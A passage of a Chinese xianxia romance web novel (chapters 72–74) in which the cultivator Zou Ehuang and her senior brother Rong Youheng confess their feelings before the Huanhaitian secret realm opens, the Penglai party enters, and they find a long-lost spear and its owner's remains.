“昆仑苦舟上有个剑祖与剑皇,苦舟之下却还是压着沸腾翻涌的死海。东海三家鼎力,也未尝灵气稀薄至此。于是我们只能猜测,这片土地孕育出了一位远超大乘实力的能者,让这片地变得荒芜。” “第一个版本的故事里,这位能者吸收尽了幻海天周围的灵气,准备闭关冲击飞升,然而就在飞升那一刻,他看见了家园被毁流离失所的凡人,也看见了遍地荒芜寸草不生的黄土。” 众人情不自禁地跟着打了个寒颤。 若一人之飞升毁天下之生灵,那仙道又与修罗道何异? 邹娥皇眼皮一掀,轻声道:“满目哀景,那能者当即顿悟,舍了浑身修为与法宝,制作出幻海天秘境,庇护凡人,最后以功德飞升。” 青度眸光微动。 却只听邹娥皇继续道: “和第一个版本的仁善相比,第二个版本则是说尽了人恶。” “第二个版本里,幻海天原居住的凡人与修士,都得知了那位能者吸尽了这里的灵力,也都不愿意就这样让他飞升。于是在夜间对其发起偷袭,然能者亦是心狠手辣之辈,两方相争,最终是能者得胜,下界的东西无法带入上界,能者正要准备把自己的宝物燃烧殆尽之刻,飞升的机缘先至,而在场打斗下活下来的人,则带走了能者所有的法宝,打造了幻海天秘境,隔绝外界。” 邹娥皇讲累了,干脆席地而坐,手里抓着树枝在地上花了两个大圆圈。 “无论是哪个版本的故事,我们都可以见得,这里面是有些不变的元素的,就是幻海天这个秘境里面,住着人。” 青度点头,她为幻海天秘境准备了一年有余,在场的除了邹娥皇,没有人比青度更熟悉秘境的事情。 “幻海天的石碑上面,会记载着历届的名次,但你们有没有想过,这些名次是因何而制定。” 众人面面相觑,唯有青度答:“因人而定。” 因人而定? 越蓬盛咂舌,暗道这可真是句废话,哪家的排名不是给人定高低啊。 却听邹娥皇一声赞道:“不错!” 啊? 越蓬盛大脑拐不过来弯儿。 “在别的秘境里,定你输赢成败,不过是身外之物,机缘法宝。而在幻海天秘境里,住着一批无法困脱秘境的可怜人,也就是那故事两个版本里,都有的,在能者飞升后被留在秘境里的人。” “正是这些人,定下你在幻海天秘境的排名。也正是这些人,在幻海天秘境里不死不灭。” 邹娥皇:“你对他们的成就,间接决定了,你在石碑上的排名。” “幻海天分为三围,外围是荒芜,中围是森林,内围就是这些村民居住的地方。而最中间的一小块地上,”邹娥皇压低了声儿,“才是真正的,海。” 越蓬盛想到什么忽然抬起头,亮着眼睛。 他压低声音:“师伯,现在这里面没有外人,你就告诉我们几个吧,那个天机子,你说他要在幻海天里带走的人是不是就是这些定排名的人,我听说当年天机子第二,是不是有什么潜规则啊——” “师伯,师伯!你打我做什么!” 邹娥皇背身,不理这胆大包天的后生,只说:“再往前几步,我们就真的快到了。幻海天秘境尚未开启之前,我们住在秘境入口的小镇酒楼里,切记一切少说。” 随着她长指一并,定向了不远处,只见平地起烟尘,约有一人高的石碑沉默地伫立在此处,石碑之后的幻海天秘境入口前,和五千年前不同,已经搭建出了一个颇具规模的小镇。 秘境开启在即,不少修士来来往往。 入城的身影里,多的是风尘仆仆散修。 但是这其中,也一道身影,格外眼熟。 那身影纤长,万年不变的十四盟散修服装,终于变成了一套瞧着不显眼的黑色法衣。 众人面面相觑,心里都有了个人名。 邹娥皇下意识地就要喊师兄,然而想到之前剪不断理还乱的关系,那两个字就像卡在喉咙里的痰,咽不下,吐不出。 越蓬盛倒是没心没肺,高高兴兴地指着前面的身影道:“那不是大师伯么?” 此声一出,人群里,那个高挑的身影也僵住了。 邹娥皇眨了眨眼,看出了容有衡不愿和自己这行人打交道,于是对越蓬盛道:“我怎么看不出来,快些赶路,进晚了人多抢不上客栈。” 再一回头,方才那个格外眼熟的身影就顺着人潮被冲走了,邹娥皇微微舒出了一口气,可那口气还没完全吐出来,微凉的指尖就搭在她的肩膀上。 她半强迫地回头,却只见来者芙蓉面,偏生嘴角笑意冷凝。 容有衡道:“师妹,好巧。” 这声好巧,咬牙切齿地像藏了冰碴。 按照容有衡本来的计划里,他应该是在秘境里混到师妹遇险的时候出现,得个英雄救美的镜头。然而偏事不与愿为,在离幻海天还有几步远的时候,他就听见了那几声耳熟的说笑声。 容有衡当时只想避开师妹,说不上来为什么,只是总之不想让对方发现。 可这并不意味着,他能忍受越蓬盛都先认出他,而师妹却无动于衷。 “师兄,”邹娥皇头皮发麻,她缩了缩脖子,将容有衡按在肩上的手拿下,变成了友好的握手姿势。 越蓬盛躲在邹娥皇身后,捏着鼻子模仿她说话: “这不是巧合。” 容有衡:“?” “是我在想你。” 容有衡:“!” 邹娥皇:“!” 邹娥皇将越蓬盛从身后拽出来,但是为时晚矣,容有衡耳垂连着后颈都红了一片,那双俊秀的凤眼里面已不见方才的寒冰,只剩了一汪春水。 “我” 也很想你。 然而就像是半路总是横生意外,后半句话也并未脱口而出,只是含在容有衡那颗微微发烫的心里。 只听一声剑气如龙吟长啸,从二人耳边擦过。 然后在几丈外的黄土之上,砸出了一个大坑。 周围惊起一阵喧腾,无一不是在道:“魔修!” 邹娥皇抬头望去,几丈高空上,白发剑仙横卧在一把神光琉璃的宝剑上,在他身后,是一群飞剑而行的昆仑崽子。 那白发剑仙眼角微垂,遥遥与她对望。 这一次,昆仑接替天机子的人,竟是宴霜寒。 “好装不,好帅的男人。” 越蓬盛赞叹道。 青度:“…” 容有衡则立在邹娥皇身后,他目光并未看向那些剑影,也并未看向远处的幻海天,他只是盯在他与师妹紧紧交合的那双手上,然后须臾间在邹娥皇耳畔轻轻道: “七彩阁尹婉重伤修养,你猜一猜代替她来的人将会是谁?” 邹娥皇的心怦怦跳。 如果昆仑来的是宴霜寒,那么七彩阁绝不会出一个普普通通的长老。 有一个答案呼之欲出。 “七彩阁尹月,昆仑宴霜寒,你,再加上散修里的龙主,以及你的师兄我师妹,你数数,修真界一共不超过十个数的人物,这场秘境里,到底要混进去几个。” 容有衡话说得很轻,落在邹娥皇耳边的时候就像是羽毛,又像* 是嘶嘶吐信子的毒蛇。 “这一次没有天机子,没关系的。” “师兄帮你。” 容有衡的体温比常人要冷些,但是握着邹娥皇的那双手,却烫的炙热,又带了点颤抖。 像是被人扔惯了的野猫,扒着点光就不肯撒手。 第72章 蜻蜓点水的吻 “师兄, ”邹娥皇低声道。 她并没有松开容有衡的手,也不复刚刚的惊慌失措,昏黄的落日与剑修背后的黑剑相映, 不远处昆仑几人也频频向这边张望。 纷杂、吵闹、甚至还有些许天上飞剑的喧鸣。 然而容有衡只能听见那句师兄。 “我们要先把一些事情说明白,再谈这些帮不帮的。” 容有衡心尖一跳。 他和她之间,除了前些夜里那个稀里糊涂的是,还有什么是不清楚不明白的? 须臾, 他只听得邹娥皇低低地道:“很久之前,你我第一次出发幻海天的时候,道祖要留在蓬莱岛, 而其余门派多少都是成群结对浩浩荡荡的一行人, 只有你我二人,形单影孤地可怜。” 师妹说起这个做什么? 容有衡须臾静谧了,手心因为紧张浸出的薄汗也止了。 邹娥皇:“道祖对我说, 说你傲气但是有本事, 让我去幻海天跟在你背后,出不了错。” “可是我没跟。” “因为我觉得我和你, 其实并不熟悉。那些年修真界谈起你, 都说你是蓬莱岛上的真仙人,来无影去无踪,他们说你单枪匹马拿下了血月宗,也说你孤身只影地灭了水中妖灾。可从没谁见过你身边还有别人。” “于是我便没跟。” 邹娥皇不敢说真实原因是容有衡太拉仇恨了,她只惆怅地继续道, “我们是同门,与半路出家的三师弟, 百年前来的小师妹相比,我和你才是同龄人, 可偏偏我们才不像同龄人。我们要做的事情好像总是差了一层的。我刚入门的时候你和我一般大,可你竟已会仙家术法,教我牵丝术。于我而言,比起师兄,你更像另一个师父。” “所以比起亲近,我总是怕你的。” 邹娥皇顿了顿,话锋一转。 “二十年前,你自负一臂下山,与上代久俊一战,死得天下皆知。而我不闻不问,师兄,或许是因为我虽然和你生疏,可我能看见的全部的你,都是一个不败的形象,所以我根本不会相信,你死了。” “鱼澹为你哭过好几个晚上,就连小师妹,也曾为你披麻戴孝,师祖从此不爱下棋,蓬莱岛的满门,独我这个师妹,显得冷情。” “师兄,但是在密州看见你的时候,我是欢喜的。” 邹娥皇的声音忽然有点哽咽,她抽出了被容有衡攒在手里的手,“后来你的突然出现又消失,我从未问过一句,我只信你不会害蓬莱,像信你不会那么死了一样的信你。” “我信你,我曾以你为目标。如果说青度是这代的大师姐,是如越蓬盛一般的蓬莱人追赶并要超越的目标的话那么你容有衡,你是我的大师兄。” “直到经历渡劫神境,渡劫神境告诉我——” “你喜欢我。” “我才慌了神,不知道怎么对你。” “这些天上路,越临近幻海天我便越逃避,越踟蹰,因为我知道以你的性子,必然会作为散修参加,我们迟早会再见面,就像是现在,对,就是现在。” “今日,此时,此刻。” “师兄,有些问题不是能一带而过的,有些问题一经出口只能是覆水难收。” 邹娥皇的声线逐渐平静了下去,刚刚的那声哽咽好像只是错觉。 “而我现在要问你的是,你的喜欢,是我以为的那个喜欢么?” 容有衡眨了眨眼,他哑着音,“你以为我是什么那我就是什么喜欢。” 如果你以为,我是图谋不轨的喜欢,那我就是。 可如果你以为,我是同门之间的喜欢,那我也认。 邹娥皇道:“好。那我以为” 容有衡刚刚落下的心又提了起来,下一瞬,他的双手被邹娥皇别住。矮他半头的师妹从地上一跃而起,蜻蜓点水一般的软唇擦过了他的脸颊、唇畔,又一触即分。 “是这个喜欢。” 姑娘的声音在他耳畔轻轻响起,又重重落下。 砰。 砰砰—— 容有衡几乎要喘不过气了。 他的心跳像擂鼓一样响动,而他的人又这样的慌乱。 前面不远处,白发剑修的佩剑接地,那双万年如寒潭的眼眸里出现了一道裂缝; 几丈开外,七彩阁声势浩大的步撵与漫天飞舞的红绫上,在十四盟会议里春风得意的尹月脸上的笑意须臾一滞。 接着就是一声越蓬盛惊呼的“我去”,打破了这片诡异的平静。 “师妹,你、你这是什么意思?” 这一次,担惊受怕左思右想的人轮到了容有衡。 “师兄,秘境开启在即,勿要大惊小怪,丢脸。” 邹娥皇说罢同手同脚地转身,她没回答容有衡的问题,只留给了众人一个落荒而逃的背影。 原地,容有衡指腹放在她擦过的位置,不确定地问旁边眼珠发直的越蓬盛:“她刚刚是亲了我对吧?” 越蓬盛点头,“对也不对,感觉用啄更合适,小鸡啄米的啄。” 好在此刻容有衡心情好,只笑眯眯地赏了越蓬盛一个敲头,眼珠转到青度身上的时候,似又想起了什么,隔空单手一点,巴掌大的留影珠就从青度的乾坤袋里飘了出来。 青度:“…” 那颗留影珠,记载了师妹与他那夜的“荒唐”。 大概、约摸,算得上定情信物罢。 而此刻的容有衡—— 也大概、约摸,早已把之前君子不夺人所好的立誓忘了个干净,就连那身风流多情的皮囊也只剩了个壳,心与魂都跟着师妹飞了。 “站住。” 刚想溜走的越蓬盛被容有衡搭住了肩膀,情不自禁地一抖,遂只好耷眉道:“什么事,您老说。” 容有衡笑眯眯道,“也不是什么多大的事情,就是想问问一会你们晚上住在哪儿。” 是夜。 修真界的驿站到了晚上从来都是不打灯的,而是用几串天火蚕吐出的灵丝点缀在石砖装潢的纹路上。 邹娥皇躺在床上,辗转难眠。 分明还有几日幻海天就要开启,她这个时候躺在床上思索的却不是秘境事宜,而是一些不能言说的杂念不该,很不该。 不过有一说一,师兄的唇,还真的挺软的。 邹娥皇拍了拍被子,发出一声喟叹,比这云羽被还要绵软几分。 怎么就亲上了呢? 色迷心窍,不该,很不该。 就在这个时候,她听到了三声敲门声。 “谁?” 邹娥皇从床上支起身子,谨慎问道。 客栈里的木门糊了淡黄色的墙纸,墙纸上,隐隐约约透出男人高大的身影。 “是我。” 容有衡低声回道。 邹娥皇:“!” “师兄,有什么明日再说,今日太晚了,我已经换了寝衣了。” “没关系,”木门后,那人似是笑了。 “我穿的也是寝衣。” 邹娥皇:“你再这样,我就告诉道祖了。” 而容有衡只是淡淡道:“师妹,你知道的,这种门拦不住你,也拦不住我。” 话音未落,像是为了印证他说了什么一般,紧密严实的木门啪嗒一声地被骤起的夜风破开。 邹娥皇从床上抬眼,只能见得男子身长如玉,披着一层流光溢彩的薄纱衣,静静地站在她的门槛之外。 此刻察觉到她的视线,那人微微一笑,刹那生辉。 邹娥皇心尖微地一颤,目光不由得停在了对方的那片薄唇上。 唇畔淡勾,然色泽艳艳如樱。 她白天亲的,就是这样的唇么。 须臾,那人还不消停,不知说着哪里学来的荤话,“可还满意你看见的?” 满意什么满意? 邹娥皇莫名觉得脸颊发烫。 她又没看见什么,何谈满意与不满意。 “没有,我只是在好奇,”邹娥皇吞吞吐吐,“师兄不是说自己穿的是寝衣吗,怎么不是?” 容有衡精心准备的笑容微不可见地一僵。 紧接着,他眼角微垂,收起了素日里的脾性,降了个调调儿轻声道:“我是可以穿寝衣,可我怕旁人见了我穿寝衣的模样,师妹反而要嫌我了。” 这男人本就生了双含情目,如今刻意勾人,不消再多个什么,眼波流转间便已是风华绝代。 狐、狐狸精! 第73章 这是谈了。 邹娥皇脸色发烫已经到连手扇风都降不下来了。 她闭眼不看道:“我为何要嫌你?你被人看了也就看了, 男子还怕掉块肉么,赤膊上街的体修都大有人在。” 屋内,狐狸一样的男人挑眉, 语气略带得意道:“别装了,亲都亲了,瞧现在你说的这话,还要不负责么。” 语毕, 容有衡才想到正事。 刚刚骚话还一箩筐的大男人此刻倒显得扭捏,目露希翼地低声问道:“为何白日亲我?” 邹娥皇闻言不语,拿被子紧紧蒙住头。 几分钟后, 容有衡才听到她瓮声瓮气地答道:“我若不亲你, 师兄会告诉我正确答案么?” 什么? 容有衡呼吸须臾一滞。 躲在被子里的邹娥皇眼睛微眨,直率而残忍地回容有衡,“师兄, 若我不亲你, 我们还是同门,于我无益无伤。可是于师兄呢?我在渡劫神境里, 看到了你着红衣, 为我身受天道枷锁,哪怕那只是你前世的一缕幽魂,然也竟愿为我自毁成契。而我什么都不知道,我不知道你在奔走什么,也不知道你付出了什么。” “你这五千年, 我看不到的地方,恐怕一直很苦吧——” 邹娥皇闭上眼。 “师兄, 白日里我有一句话没有说出口。” “我曾以为我是一个合格的师妹,直到出了渡劫神境之后我才发现, 我不是。” 约有半响,对面的人都没回答,静得好像消失了,邹娥皇甚至只能听见自己憋在被子里急促的呼吸声。 呼—— 邹娥皇掀开被子,发现师兄正呆愣愣地立在那里,和方才的容光焕发比,现在的师兄面容惨白,唇上血色尽失。 “师妹,你是为了可怜我么?” 须臾,邹娥皇才听到容有衡颤抖的声音。 邹娥皇怔愣抬头,却只见容有衡方才还微垂伴作无辜的眼睫微微颤抖,而眼睫之下的黑眸则像是被暴雨冲刷过的耀石——冷而湿。 客栈走廊里的穿堂风从微微吹拂起青年的衣摆,又推着他一步步逼近蜷缩在床榻上的姑娘。 “邹娥皇。” 容有衡语气一下子冷了。 “你凭什么这么轻率地做出决定,你凭什么就为这个亲我?我做的一切都是我愿意的,与你何干?用得着你去自作主张施展你的英雄情怀么?” “你倒底把我看做什么了?” “我用得着你在这里大公无私地可怜么?” 容有衡一步一步向前走去,直到他离邹娥皇只有一步距离的时候,他才停下。 那双素日里宽大的手掌,如今轻轻覆在邹娥皇的面上。 寒得像一块冰。 容有衡自嘲一笑:“在你心里,哪怕今天亲的不是容有衡,也可以的对吧,只要他需要你,只要他需要一点你施舍的喜欢,你就可以。” 邹娥皇不敢看他。 只低头看着被子上的灵云图样,然后道:“不是施舍。” 她呐呐道:“师兄,喜欢是可以培养的。” 她邹娥皇又不是什么把感情当儿戏的人,当初既然决定亲了容有衡,那就是真的想过负责,负责一辈子的负责。 听了这句话后,刚刚还覆在她面上的手忽然一动,捏住了她的双肩。邹娥皇抬眼,却见容有衡俯下身,那张冷峻的面容离她不过一指的距离。 呼吸尽在咫尺。 “你上一世也是这样么?” 和别人培养你的喜欢。 容有衡这声放地很轻。 可又压地极重。 “什么?” 邹娥皇没听懂这句话。 “师妹,我是说,你怎么那么伟大呢。” 须臾,邹娥皇肩上的力道一松,容有衡一手陷在锦被里,一手抬起邹娥皇的下颌,然后戾气地重复道:“师妹,怎么就你那么伟大呢。” “你的修为可以拿来救另一个人,你的剑可以填补天道的窟窿,你的魂可以为了你的剑陪葬,现在就连你的感情,你也要可怜给我么。” “那么你还留给自己什么?” 邹娥皇瞳孔骤然放大,眼前那艳绝的面容一再放大,直到鼻尖相抵,邹娥皇才察觉到一滴泪从对方的眼角滑落—— 滴在她的鼻上。 师兄哭了。 下一秒,就是天旋地转。 和第一次的蜻蜓点水相比,这一次或许才叫真正的吻,如狂风骤雨一般地落下,恨不得生吞活剥一般地啃咬,而舌尖相触,暧昧缠绵到了顶点的时候,却又一触即分。 神迷意乱的时候,邹娥皇恍惚间却听见了容有衡哽咽的呢喃。 “如果是可怜。” “如果只有可怜。” “…” “那能不能不要告诉我,邹娥皇。” 喜欢一个人究竟要卑微到什么样子,才能把一身傲骨拆个七七八八,变得面目全非。 邹娥皇想不明白。 也不愿意再想,她只是全凭本能地伸手,轻轻碾去了容有衡眼边的泪,然后郑重地反驳: “不是只有可怜。” 邹姑娘穿了一身单薄的寝衣,如今发丝凌乱,衣衫也略有不整,但她腰背挺得笔直,脸色是出奇的沉着镇静。 她盯着对面那个比她高了一个头的男子,一字一句道: “师兄,我亲你的时候,我心也乱着的。” “容有衡,以后我对你负责。” 容有衡狼狈地别过头,闷声道:“我不信。” 邹娥皇微微一笑,她起手,黑剑嗡然的一声从角落里窜起,客栈外,原本平静的沙地开始起风,幻海天旁千年不变的石碑微微一亮—— 最后只听锃地一声,黑剑出鞘。 “师兄,你知道什么是剑修么?” 狭窄的床榻上,邹娥皇低声道:“剑修就是,当他们拿起剑,就不可能再说出半句假话。” “我的剑就在这里,我说我对你负责,是真的。” “我说不止是可怜,也是真的。” “容有衡,”姑娘轻柔的声音落在青年的耳畔,微热的鼻息拂过他的脖颈带起阵阵痒意,容有衡大脑空白一瞬,哭过的眼角尚且发红,而浑身却已诚实地僵直。 “君不负我,我不负君。” 几日后。 “这是谈了?” 越蓬盛皱眉看着从一个门里出来的两人,嘘声问旁边的青度。 青度没搭理他,正眉峰凛然地擦拭着剑尖。 “幻海天辰时开启,你若还有兴致在这里看旁人如何,不如趁早退出,也好空个名额留给有需要的人。” 越蓬盛撇了撇嘴。 忽然道:“青度,你知道为什么我从小就很讨厌你么?” 青度:“哦。” “…”越蓬盛麻麻赖赖地走了,一边走一边嘟囔道:“你最好进秘境之后没有求我的地方。” 邹娥皇转头看着这俩人,忍不住对容有衡道:“你别看他们这样,其实这两孩子在蓬莱才是关系好的。” 容有衡侧头觑了一眼,“这不是一对冤家么,哪里关系好。” “就是冤家才好咧。” 邹娥皇叹道,“不是冤家不聚头。” 容有衡眼皮敏锐地一跳,想起了上辈子他和邹娥皇的关系,又压下了悸动,然后道:“你喜欢那样皮贱的?” 邹娥皇看了看他的脸色,须臾才反应过来现在两人的关系变了,于是支支吾吾道:“也不是” 容有衡却面色飘红,“假如咳咳,我是假如说啊,假如要你选,嗯假如啊,假如你师兄我从小以欺负你为乐不,从小就愿意贱嗖嗖地逗你笑,不对,你是会更喜欢一个贱嗖嗖逗你笑的师兄,还是喜欢一个老正经的徒弟。” 邹娥皇:“…” 这是个什么问题。 但联想到容有衡口中与渡劫神境里一直语焉不详的上一世,邹娥皇摸了摸鼻子道:“师兄,如果没有什么理由的话,我是不会搞师徒恋的——” 容有衡一愣,面色苍白,暗想:原来他之前猜得没错,师妹是真喜欢方半子那小子喜欢的不得了,才会冒天下之大不讳。 转念又想,现在去杀了方半子还来得及么。 下一秒却听邹娥皇轻飘飘道:“不过,我可能确实更喜欢贱嗖嗖的师兄一点。” 容有衡大喜,尔后别别扭扭地凑过去: “那个什么,我也不是很关心,但是想问个清楚。” “一点是多少点。” 邹娥皇:“” 她目光复杂地看着容有衡,半响说不出话。 辰时。 石碑旁的幻海天入口处已经挤满了大大小小的正在登记的队伍,邹娥皇握着青度的手腕,走到属于蓬莱的位置上。 浩荡而纯白的灵气从她与青度交叠的手缝里迸发,铁黑的剑尖直直插入开启的灵石里,原本还有巴掌大的镇魂兽嗷呜一声从越蓬盛怀里一跃而出,瞬间幻化成了威风凛凛的镇岛神兽。 在场人无不为之侧目。 “蓬莱一行六人,已到!” 邹娥皇平时说话大多要么轻声,要么是平声的,独今天例外。 她立在那里,风起衣摆,沙过靴底。 而人自岿然不动。 只有从容的女声震彻整个场地,喧闹皆去。 在邹娥皇身侧,青度握拳将手放在胸口,袖子上的镇魂兽图纹隐隐闪光。而身后,越蓬盛将彩色祝巫衣的扣子一解,露出了里面的**服。 世人都说蓬莱怪,师不师,徒不徒,道不道。 就连一身衣服,也要别具一格,选常人所不喜甚至不吉利的沉黑,然而大多数人都忘,蓬莱道祖第一次出现在众人面前的时候,穿的还是一身皓素。 蓬莱道祖什么时候穿起**服的呢? 不是二十年前容有衡的死,也不是一千年前围剿魔修时死了尽半的弟子。 是道祖云无心死了第一个徒孙,坐在洗尘湖旁,惘然地思索了一晚上,也不明白为何人的寿命,比起一朵骤飘骤散骤降骤雨的云来说,要短那么多。 如何留住逝去的人。 或者简单点,怎么样才能不忘掉他们。 道祖将手搅入激流,那一刻波光粼粼的水变成了黑素色的道衣。 然后变石为针,黑发为线,在道衣内里,绣出了第一个人名。 那日出席完徒孙的葬礼,蓬莱道祖再未将一身黑衣换下,而蓬莱人手一件的黑色道服,也是从那一日起,久不离身。 从此之后,每多死一个,道衣内就会多出一个人名,知道外面黑漆漆的道袍,内襟里面满是密密麻麻的凹凸线角。 其实蓬莱从没有硬性规定过你要穿什么样的衣服。 其实蓬莱也有很多小孩他出生是不懂这些大人的情感的,只会哭哇哇地要穿得漂亮。 其实蓬莱人也不是人人都关系和睦,有时候死的是名义的同门,真实的仇家 可是只要出山,一批又一批的蓬莱人永远穿的是黑衣。 或是因为他们终于有熟悉的人在不知名的角落化作了衣摆内里了无生机的几个字,或者是因为他们过了爱华服美裳的年龄。 又或者只是因为—— 他们是蓬莱。 … 蓬莱之后,便是万剑归宗的戏法从天上落下,剑光四射而不伤人,一片白雾荡开后出现了一排持剑人,然后陆陆续续的,各大门派皆显神通。 “昆仑一行六人,已到!” “鬼谷一行六人,已到!” …和这边相比,散修那里就显得散漫了,容有衡混迹在散修的队伍里,目光偶有出神地看着蓬莱的方向。 销声匿迹的二十年里,容有衡其实一直没有时间停下来去想,散修到底意味着什么。 此刻现在想想,他好像明白了。 这意味着,他再也不能的,是作为一个蓬莱人,穿着蓬莱的黑色道服,站在镇魂兽后,正大光明地为蓬莱而战。 他再也不知道的,是那一身朴素的黑衣摆里要用针线再密密麻麻缝出多少个人名。 又或者那代表荣耀与怀念的衣摆,二十年前,就已有了他的名字。 石碑前不知何时已点起了浓烟。 激昂的鼓声从几丈外的高楼上传来,一阵又一阵,鼓锤与鼓面相接,一声比一声轰然,在这灵气匮乏的地方,登楼锤鼓的人凭的是单纯的气力。 镇魂兽最后再蹭了一下邹娥皇的手,回头留恋地舔了她一下,便两腿蹬地朝着天边跑去。 它把他们送到这里,任务已完成了。 现在它要回岛了。 白茫茫的兽毛飘洒在大地上,给人间带来一场永不化的皓雪。 三炷香后,幻海天秘境。 开! 第74章 轻描淡写 到底什么是秘境。 生死一线的散修会告诉你, 争抢法宝和机缘的地方。 名门正统的仙门子弟会说,为荣誉而战证道证己的地方。 可是,对于这个世界的天道来说, 秘境是什么呢? 一部分秘境是洞天福地自然形成的,严格意义上来说并不算被分割出了本世界,只是与天道的联系被遮掩住罢了。 若以人比喻天道的话,这样的秘境就像是四肢躯干, 虽然不在一个方向,但总归在自己身上的。 还有一部分秘境,就是大能们留下的遗泽。 比起前者, 后者更像是体内的异物。 天道既看不惯, 又干不掉。 更别说给它提供灵力了。 也就造成了这类秘境存活的时间一般不长,在秘境主人死后,短则三年, 长则十数年, 秘境就会全然崩塌,然后回归本世界。 幻海天例外就例外在这里了。 虽然境内的灵气一年比一年稀薄, 然而维持了这么多年, 始终都没有坍塌的迹象,说明原主人还存活着,只是不在这个世间。 “二师伯,这才是人们真正笃定原主人飞升的原因吧。” 进入幻海天后,越蓬盛一边忍不住上手拨动着秘境里的奇珍异草, 一边漫不经心地问邹娥皇。 他们刚刚穿过进入幻海天秘境的水雾,行过一片荒芜后, 跟着青度背过的地图,走到了幻海天中围。 太平庸了。 瞧着和他蓬莱岛也没什么不同。 不过邹师伯说过幻海天里面是有海的。 邹娥皇一边点头嗯, 然后突然想起了什么转头看向越蓬盛道:“我今日突然发现一点不对劲。” 越蓬盛被邹娥皇突如其来的目光盯着发麻,莫名其妙道:“不对劲就不对劲,盯着我做什么?” 邹娥皇幽幽道:“你为何能叫我师伯?” 她掰着手指头算道:“青度叫我师伯是因为她是鱼澹的直系弟子,但是小越啊,你的师父不是容有衡的五代徒孙么,也就是说” “哪怕是叫青度,你也该叫师叔祖。” 越蓬盛头冒冷汗。 旁边一向不爱说话的青度忽然接道:“他叫过。” 邹娥皇哑然:“什么时候?” 青度想了想,“小时候。” 两人身后,越蓬盛弱弱道:“能不能跳过这个话题” 小时候他确实叫过青度师叔祖,那是因为当时在一场比试里被这人打哭了,他气不过要去搬救兵,结果师父就把他压着给青度磕了三个头,让他喊对方师叔祖 这么憋屈的回忆,让越蓬盛再不愿想起。 他目光一转,看向了姜印容三人,恨道:“那他们是算什么辈分?” 他真就不信了。 鱼澹那么多年就收过一个青度,邹娥皇李千斛更是从没有弟子,算起来他越蓬盛再追溯也是蓬莱道祖的七世徒孙,哪来那么多青度比他辈分大? “呵。” 自几日前起目睹那蜻蜓点水的一吻起就格外沉默的姜印容,面对着这送上门来的出气筒,终于微扯了下嘴唇,恢复了些许活力:“算黑户,你满意了么,户口上的曾孙子。” 户口上的曾孙子? 骂他的? 越蓬盛脸色一抽,彻底蔫了。 合着就他自己辈分最小是吧。 青度目光一闪,忽然拍了拍越蓬盛的肩膀。 “干什么你?”越蓬盛受宠若惊,一蹦而起。 “提醒你,走路看路。” 青度淡定道,“我刚刚为你卜了一挂,今日你脚上有紫气。” 脚上有紫气。 还是说他有脚气? 越蓬盛愤愤不平,却听邹娥皇忽然接了一嘴道:“是该走路好好看路。” 邹娥皇轻描淡写:“我们第一年幻海天,就有个人没出来,事后也没有人找到他,就那么消失了。” 一阵凉风吹过,越蓬盛觉得有点冷,抱紧双臂。 “这个我知道,”谦立延接嘴道,他和孙峰贰虽平日里形影不离,然而两个人的性子却有一部分差距,譬如说虽然话都算不得多,可一个是真没话,另一个则是在等感兴趣的话题。 孙峰贰是前者。 谦立延是后者。 后者不止喜欢听一些奇闻八卦,还喜欢绘声绘色的讲出故事,上次编完戏曲之后,连姜印容都神色复杂地对谦立延说,那么多年,只留他当个看路的,真是屈才了。 “那是五千年前,有一新兴的宗门叫做泉宗,是昔年里一枪穿云的闽老祖所建,如果说剑是百兵之君的话,那么枪,就是百兵之王。泉宗在当年也还算强盛,只可惜毁在了——” “那没走出幻海天的一人身上。” “据说那人是闽老祖的得意门生,然而在幻海天之前伤了金丹,别人伤了金丹都是想用法宝补好,他不一样,非要重塑一颗,然后那几年修真界也穷,机缘也少,金丹的事情却不能久拖,幻海天秘境是他最后的期限。” 听到金丹这两字,越蓬盛觑了一眼青度,发现这姑娘喜怒不变。 “结果最后,就没走出来。” “闽老祖痛失爱徒,走火入魔最后郁郁而终,其余的人又撑不起门派,泉宗自此没落。” 谦立延说到这才算觉得可惜,叹了口气,然后神往道:“传说里泉宗的枪下系的红缨与别个枪不一样,是拿自己的心头血炼化的,哪怕最后枪腐蚀了,人不在了,那红缨也不会褪色,就是不知道和东海龙族的枪比起来怎么样了。” 邹娥皇忽然出声回到:“泉宗的枪法比东海龙族的十三枪,好得多。” “我见过。” 后者她虽筋脉尽断,然仍能走出龙宫。 而前者,那年就梗在她肩头,错一步就是血溅三尺。 要不然说活得久就是不一样,那些他们的传说,对邹娥皇而言也不过就是曾经经历过的一页篇章。 姜印容手指微点,神色平静。 很多年后,旁人提起姜英的名字时,邹娥皇她也会这样的轻描淡写么。 几人又向前继续走,幻海天只开启一个月,他们需要尽可能地靠近内围,讨好村民,端茶送水,如果可以的话,各人还有各人的机缘。 想什么来什么 忽然,越蓬盛停了下来。 他踢到了东西。 如果在别的地方踢到了东西,大概两眼一闭迈过去也就算了,可这是哪儿,这是处处惊喜的幻海天啊。 之前师父说他气运好,果然不错。 还有青度,这丫头也没说错。 越蓬盛兴冲冲地去捡踢开的木棍,然而落到手里后掂了掂重量,才发现是一杆枪。 “咦——” 一杆被腐蚀到面目全非,连利刃都变得圆钝,只有一根系在上面的红缨,竟还奇迹般的鲜红如初的枪。 那红缨红地就像是一摊血迹。 越蓬盛一下子愣住了。 他骤然想起了刚刚谦立延讲的事情,然后下意识地一吞唾沫,不是吧,这么巧?他是什么天选之人吗?当初翻遍秘境找不到的人,就这么一下子被他找到了——遗物? 这丫也算气运? “你愣在这里做什么,”邹娥皇拍了拍越蓬盛的肩膀,目光忽地一瞥,竟凝住了,凝在了那如血般夺目的红缨上。 “…” “青骨枪。” 说什么就是什么。 泉宗的枪。 在这个秘境里,如果还有泉宗的遗物的话,只能是最开始的那次。 邹娥皇看着这面目全非的枪,就像是看见了五千年前的惊鸿一照面。 找到了枪。 那么枪的主人一定离这里不远。 邹娥皇的步子突然迈地极慢。 她好像确实老了,年轻的时候发现未知的丛林,第一反应永远都是兴冲冲地扒开那些遮挡的枝叶,去看那些埋藏在时间里的秘密、机缘。 而现在,见多了这样的从林之后,邹娥皇逐渐明白,这个世界上从没有未公开的秘密,也没有保存完好的机缘,你能看到的大部分,要么是空空如也,要么是—— 一架扭曲的紫骨,跪又跪不下,站又站不起,倒在事成之前。 修真界总是有这样硬的骨头,练了专门用来预防天雷的锻雷骨,最后却没有死在证道的天雷手上。 只死在了一个甚至都不会被收尸的地方。 “黄平忠。” 初识这个名字的时候,邹娥皇总以为这该是个憨厚可实的青年人,但见到了才发现最是鲜衣怒马的少年人,此句果真不假。 一杆红枪尽逞风流。 